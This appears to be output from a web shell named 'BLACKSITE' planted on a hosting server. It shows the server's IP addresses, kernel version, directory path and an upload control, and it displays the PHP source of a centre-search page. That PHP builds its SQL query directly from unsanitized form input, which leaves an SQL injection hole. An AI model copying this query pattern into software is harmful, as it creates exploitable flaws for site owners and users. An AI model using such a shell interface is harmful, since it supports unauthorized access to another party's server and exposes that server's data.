BLACKSITE
:
3.141.164.124
:
103.154.184.216 / www.astitvaad.com
:
Linux vps.readyhost.in 4.18.0-553.6.1.el8.x86_64 #1 SMP Thu May 30 04:13:58 UTC 2024 x86_64
:
/
home
/
ceccomputer
/
public_html
/
Upload File:
files >> /home/ceccomputer/public_html/centre-list.php
<?php include("inc/top.php");?> <body> <!-- Main Wrapper Start --> <div class="main-wrapper"> <!-- navigation section --> <?php include("inc/navigation.php"); ?> <!-- end navigation section --> <!-- Breadcrumb --> <div class="breadcrumb-area" data-bgimage="images/header19.jpg" data-black-overlay="4"> <div class="container"> <div class="in-breadcrumb"> <div class="row"> <div class="col"> <h3> </h3> </div> </div> </div> </div> </div> <!--// Breadcrumb --> <main class="page-content"> <!-- About Us Area --> <div class="about-us-area section-ptb2"> <div class="container"> <div class="row"> <div class="col-lg-10 offset-lg-1"> <div class="row"> <div class="col-md-4 offset-md-4"> <form action="centre-list.php " method="post"> <div class="input-group mb-3"> <input type="text" name="search" class="form-control" placeholder="Enter City / State" style="font-size:16px;" required> <div class="input-group-append"> <button type="submit" name="getData" class="btn btn-primary"><i class="zmdi zmdi-search"></i> Search</button> </div> </div> </form> </div> </div> <div class="about-us-contents table-responsive"> <h3>Centre <span>List</span></h3> <?php if(isset($_POST['search'])) { $search = $_POST['search']; $center = "SELECT * FROM `centre` WHERE `status` = 1 and `state` like '%$search%' or `district` like '%$search%' ORDER BY `centre_id` desc"; $run = mysqli_query($con, $center); if(mysqli_num_rows($run) > 0) { ?> <table class="table table-bordered example"> <thead> <tr> <th>#</th> <th>Reg_No.</th> <th>Image</th> <th>Name</th> <th>Director</th> <th>District</th> <th>State</th> <th>Address</th> </tr> </thead> <tbody> <?php $count = 0; while($row = mysqli_fetch_array($run)) { $count++; ?> <tr> <td><?php echo $count;?></td> <td><?php echo $row['reg_no'];?></td> <td><img src="images/centre/<?php echo $row['image'];?>" class="img-fluid rounded" width="40px" alt=""></td> <td><?php echo ucfirst($row['centre_name']);?></td> <td><?php echo ucfirst($row['director']);?></td> <td><?php echo ucfirst($row['district']);?></td> <td><?php echo ucfirst($row['state']);?></td> <td><?php echo ucfirst($row['address']);?></td> </tr> <?php } ?> </tbody> </table> <?php } else { ?> <h3 class="text-center" style="padding: 50px;">No Records Yet</h3> <?php } } ?> </div> </div> </div> </div> </div> </main> <!--// About Us Area --> </div> <!-- footer --> <?php include("inc/footer.php"); ?> <!-- end footer -->